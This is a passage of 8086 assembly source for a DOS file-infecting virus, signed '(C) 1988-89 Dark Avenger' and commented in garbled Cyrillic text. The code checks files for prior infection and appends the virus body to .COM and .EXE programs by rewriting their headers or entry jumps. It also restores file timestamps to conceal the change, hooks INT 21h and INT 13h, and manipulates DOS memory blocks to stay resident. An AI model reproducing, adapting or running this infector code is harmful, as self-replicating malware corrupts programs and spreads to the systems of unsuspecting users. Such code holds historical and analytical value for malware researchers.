  702.     jne    see_fuck
  703.     mov    dx,offset top_save+1ch
  704.     mov    si,dx
  705.     mov    cx,offset my_size
  706.     mov    ah,3fh
  707.     int    21h
  708.     jc    see_fuck
  709.     cmp    cx,ax
  710.     jne    see_fuck
  711.     xor    di,di
  712. next_byte:
  713.     lodsb
  714.     scasb
  715.     jne    see_fuck
  716.     loop    next_byte
  717. stop_fuck_2:
  718.     ret
  719. see_fuck:
  720.     xor    cx,cx            ;Å«º¿╢¿«¡¿░á¡Ñ ó ¬░á┐ ¡á ┤á⌐½á
  721.     xor    dx,dx
  722.     mov    ax,4202h
  723.     int    21h
  724.     cmp    word ptr [top_save],5a4dh
  725.     je    fuck_exe
  726.     add    ax,offset aux_size+200h ;äá ¡Ñ ▒▓á¡Ñ .COM ┤á⌐½á ¼¡«ú« ú«½┐¼
  727.     adc    dx,0
  728.     je    fuck_it
  729.     ret
  730.  
  731. ; êº░áó¡┐óá ¡á ú░á¡¿╢á ¡á »á░áú░á┤ ºá .EXE ┤á⌐½«óÑ▓Ñ.  Æ«óá Ñ áí▒«½╛▓¡« ¡Ñ¡│ª¡«.
  732.  
  733. fuck_exe:
  734.     mov    dx,word ptr [top_save+18h]
  735.     neg    dl
  736.     and    dx,0fh
  737.     xor    cx,cx
  738.     mov    ax,4201h
  739.     int    21h
  740.     mov    word ptr [top_save+18h],ax
  741.     mov    word ptr [top_save+1ah],dx
  742. fuck_it:
  743.     mov    ax,5700h        ;çá»áºóá¡Ñ ¡á ñá▓á▓á ¡á ┤á⌐½á
  744.     int    21h
  745.     pushf
  746.     push    cx
  747.     push    dx
  748.     cmp    word ptr [top_save],5a4dh
  749.     je    exe_file        ;î¡«ú« │¼¡«, ¡┐¼á ╣«
  750.     mov    ax,100h
  751.     jmp    short set_adr
  752. exe_file:
  753.     mov    ax,word ptr [top_save+14h]
  754.     mov    dx,word ptr [top_save+16h]
  755. set_adr:
  756.     mov    di,offset call_adr
  757.     stosw
  758.     mov    ax,dx
  759.     stosw
  760.     mov    ax,word ptr [top_save+10h]
  761.     stosw
  762.     mov    ax,word ptr [top_save+0eh]
  763.     stosw
  764.     mov    si,offset top_save    ;Æ«óá ñáóá ó║º¼«ª¡«▒▓ ¡á ░ạ¿ ó░Ññ¡¿
  765.     movsb                ;»░«ú░Ἷ ñá ó║º▒▓á¡«ó┐▓ ▓«╖¡«
  766.     movsw                ;«░¿ú¿¡á½¡á▓á ñ║½ª¿¡á ¡á .EXE ┤á⌐½á
  767.     xor    dx,dx
  768.     mov    cx,offset top_file
  769.     mov    ah,40h
  770.     int    21h            ;çỿ▒óá¡Ñ ¡á »░«ú░á¼á▓á
  771.     jc    go_no_fuck        ;(¡Ñ ▓░á▒¿░á⌐▓Ñ ▓│¬)
  772.     xor    cx,ax
  773.     jnz    go_no_fuck
  774.     mov    dx,cx
  775.     mov    ax,4200h
  776.     int    21h
  777.     cmp    word ptr [top_save],5a4dh
  778.     je    do_exe
  779.     mov    byte ptr [top_save],0e9h
  780.     mov    ax,word ptr [top_save+18h]
  781.     add    ax,startup-copyright-3
  782.     mov    word ptr [top_save+1],ax
  783.     mov    cx,3
  784.     jmp    short write_header
  785. go_no_fuck:
  786.     jmp    short no_fuck
  787.  
  788. ; è«¡▒▓░│¿░á¡Ñ ¡á header-á ¡á .EXE ┤á⌐½á
  789.  
  790. do_exe:
  791.     call    mul_hdr
  792.     not    ax
  793.     not    dx
  794.     inc    ax
  795.     jne    calc_offs
  796.     inc    dx
  797. calc_offs:
  798.     add    ax,word ptr [top_save+18h]
  799.     adc    dx,word ptr [top_save+1ah]
  800.     mov    cx,10h
  801.     div    cx
  802.     mov    word ptr [top_save+14h],startup-copyright
  803.     mov    word ptr [top_save+16h],ax
  804.     add    ax,(offset top_file-offset copyright-1)/16+1
  805.     mov    word ptr [top_save+0eh],ax
  806.     mov    word ptr [top_save+10h],100h
  807.     add    word ptr [top_save+18h],offset top_file
  808.     adc    word ptr [top_save+1ah],0
  809.     mov    ax,word ptr [top_save+18h]
  810.     and    ax,1ffh
  811.     mov    word ptr [top_save+2],ax
  812.     pushf
  813.     mov    ax,word ptr [top_save+19h]
  814.     shr    byte ptr [top_save+1bh],1
  815.     rcr    ax,1
  816.     popf
  817.     jz    update_len
  818.     inc    ax
  819. update_len:
  820.     mov    word ptr [top_save+4],ax
  821.     mov    cx,18h
  822. write_header:
  823.     mov    dx,offset top_save
  824.     mov    ah,40h
  825.     int    21h            ;çỿ▒óá¡Ñ ¡á ¡á╖Ὣ▓« ¡á ┤á⌐½á
  826. no_fuck:
  827.     pop    dx
  828.     pop    cx
  829.     popf
  830.     jc    stop_fuck
  831.     mov    ax,5701h        ;é║º▒▓á¡«ó┐óá¡Ñ ¡á «░¿ú¿¡á½¡á▓á ñá▓á
  832.     int    21h
  833. stop_fuck:
  834.     ret
  835.  
  836. ; êº»«½º│óá ▒Ñ «▓ »«ñ»░«ú░Ἷ▓Ñ ºá «í░áí«▓¬á ¡á INT 21h ¿ INT 27h ó║ó ó░║º¬á
  837. ; ▒║▒ ▒¬░¿óá¡Ñ▓« ¡á »░«ú░á¼á▓á ó »á¼Ñ▓▓á «▓ ╡«░á, ¬«¿▓« ¡┐¼á ¡│ªñá ñá ┐
  838. ; ó¿ªñá▓.  û┐½á▓á ▓ế ▒¿▒▓Ѽá Ñ áí▒│░ñ¡á ¿ ú½│»áóá ¿ Ñ «╣Ñ Ññ¿¡ ¿º▓«╖¡¿¬
  839. ; ¡á ¬«¡┤½¿¬▓¡¿ ▒¿▓│á╢¿¿.
  840.  
  841. alloc:
  842.     push    ds
  843.     call    get_chain
  844.     mov    byte ptr ds:[0],'M'
  845.     pop    ds
  846.  
  847. ; Ä▒¿ú│░┐óá «▒▓áóá¡Ñ▓« ¡á »░«ú░á¼á▓á ¡á ó║░╡á ¡á óÑ░¿úá▓á »░«╢Ñ▒¿,
  848. ; »░Ñ╡óá¡á½¿ INT 21h (Ñ▓« «╣Ñ Ññ¿¡ ¿º▓«╖¡¿¬ ¡á ¬«¡┤½¿¬▓¿).
  849.  
  850. ontop:
  851.     push    ds
  852.     push    ax
  853.     push    bx
  854.     push    dx
  855.     xor    bx,bx
  856.     mov    ds,bx
  857.     lds    dx,ds:[21h*4]
  858.     cmp    dx,offset int_21
  859.     jne    search_segment
  860.     mov    ax,ds
  861.     mov    bx,cs
  862.     cmp    ax,bx
  863.     je    test_complete
  864.  
  865. ; Å░Ñ▓║░▒óá ▒Ñú¼Ñ¡▓á ¡á ¡á▓░ỡ¿¬á »░Ñ╡óá¡á½ INT 21h, ºá ñá ¡á¼Ñ░¿ ¬║ñÑ ▓«⌐
  866. ; Ñ ºá»áº¿½ ▒▓á░á▓á ▒▓«⌐¡«▒▓ ¿ ñá ┐ »«ñ¼Ñ¡¿.  çá INT 27h ¡Ñ ▒Ñ »░áó¿ ¡¿╣«.
  867.  
  868.     xor    bx,bx
  869. search_segment:
  870.     mov    ax,[bx]
  871.     cmp    ax,offset int_21
  872.     jne    search_next
  873.     mov    ax,cs
  874.     cmp    ax,[bx+2]
  875.     je    got_him
  876. search_next:
  877.     inc    bx
  878.     jne    search_segment
  879.     je    return_control
  880. got_him:
  881.     mov    ax,word ptr cs:[save_int_21]
  882.     mov    [bx],ax
  883.     mov    ax,word ptr cs:[save_int_21+2]
  884.     mov    [bx+2],ax
  885.     mov    word ptr cs:[save_int_21],dx
  886.     mov    word ptr cs:[save_int_21+2],ds
  887.     xor    bx,bx
  888.  
  889. ; ê ñá ¡Ñ ú« »áº¿ ó ▒║╣¿┐ ▒Ñú¼Ñ¡▓, ▓«óá ó▒Ñ Ññ¡« ¡┐¼á ñá ¼│ »«¼«ú¡Ñ
  890.  
  891. return_control:
  892.     mov    ds,bx
  893.     mov    ds:[21h*4],offset int_21
  894.     mov    ds:[21h*4+2],cs
  895. test_complete:
  896.     pop    dx
  897.     pop    bx
  898.     pop    ax
  899.     pop    ds
  900.     ret
  901.  
  902. ; ìἿ░á¡Ñ ¡á ▒Ñú¼Ñ¡▓á ¡á »«▒½Ññ¡¿┐ MCB
  903.  
  904. get_chain:
  905.     push    ax
  906.     push    bx
  907.     mov    ah,62h
  908.     call    function
  909.     mov    ax,cs
  910.     dec    ax
  911.     dec    bx
  912. next_blk:
  913.     mov    ds,bx
  914.     stc
  915.     adc    bx,ds:[3]
  916.     cmp    bx,ax
  917.     jc    next_blk
  918.     pop    bx
  919.     pop    ax
  920.     ret
  921.  
  922. ; ô¼¡«ªÑ¡¿Ñ »« 16
  923.  
  924. mul_hdr:
  925.     mov    ax,word ptr [top_save+8]
  926. mul_16:
  927.     mov    dx,10h
  928.     mul    dx
  929.     ret
  930.  
  931.     db    'This program was written in the city of Sofia '
  932.     db    '(C) 1988-89 Dark Avenger',0
  933.  
  934. ; Äí░áí«▓¬á ¡á INT 13h.
  935. ; êºó¿¬óá «░¿ú¿¡á½¡¿▓Ñ óѬ▓«░¿ ó BIOS, á¬« ▒▓áóá ñ│¼á ºá ºá»¿▒.
  936.  
  937. int_13:
  938.     cmp    ah,3
  939.     jnz    subfn_ok
  940.     cmp    dl,80h
  941.     jnc    hdisk
  942.     db    0eah            ;JMP XXXX:YYYY
  943. my_size:                ;--- ä«▓│¬ ▒Ñ ▒░áó¡┐óá ▒ «░¿ú¿¡á½á
  944. disk:
  945.     dd    0
  946. hdisk:
  947.     db    0eah            ;JMP XXXX:YYYY
  948. fdisk:
  949.     dd    0
  950. subfn_ok:
  951.     db    0eah            ;JMP XXXX:YYYY
  952. save_int_13:
  953.     dd    0
  954. call_adr:
  955.     dd    100h
  956.  
  957. stack_pointer:
  958.     dd    0            ;Ä░¿ú¿¡á½¡á ▒▓«⌐¡«▒▓ ¡á SS:SP
  959. my_save:
  960.     int    20h            ;Ä░¿ú¿¡á½¡« ▒║ñ║░ªá¡¿Ñ ¡á »║░ó¿▓Ñ
  961.     nop                ;3 íá⌐▓á «▓ ┤á⌐½á
  962. top_file:                ;--- ä«▓│¬ ▒Ñ ºá»¿▒óá ó║ó ┤á⌐½«óÑ▓Ñ
  963. filehndl    equ $
  964. filename    equ filehndl+2        ;ü│┤Ñ░ ºá ¿¼Ñ ¡á ▓Ѭ│╣« «▓ó«░Ñ¡¿┐ ┤á⌐½
  965. save_int_27 equ filename+65        ;Ä░¿ú¿¡á½¡á ▒▓«⌐¡«▒▓ ¡á INT 27h
  966. save_int_21 equ save_int_27+4        ;Ä░¿ú¿¡á½¡á ▒▓«⌐¡«▒▓ ¡á INT 21h
  967. aux_size    equ save_int_21+4        ;--- ä«▓│¬ ▒Ñ »░ѼÑ▒▓óá ó »á¼Ñ▓▓á
  968. top_save    equ save_int_21+4        ;ìá╖Ὣ ¡á í│┤Ñ░á, ▒║ñ║░ªá╣:
  969.                     ; - Å║░ó¿▓Ñ 24 íá⌐▓á »░«╖Ñ▓Ñ¡¿ «▓ ┤á⌐½á
  970.                     ; - ä║½ª¿¡á▓á ¡á ┤á⌐½á (4 íá⌐▓á)
  971.                     ; - Å«▒½Ññ¡¿▓Ñ íá⌐▓«óÑ «▓ ┤á⌐½á
  972.                     ;   (▒ ñ║½ª¿¡á my_size)
  973. top_bz        equ top_save-copyright
  974. my_bz        equ my_size-copyright
  975. code    ends
  976.     end
  977.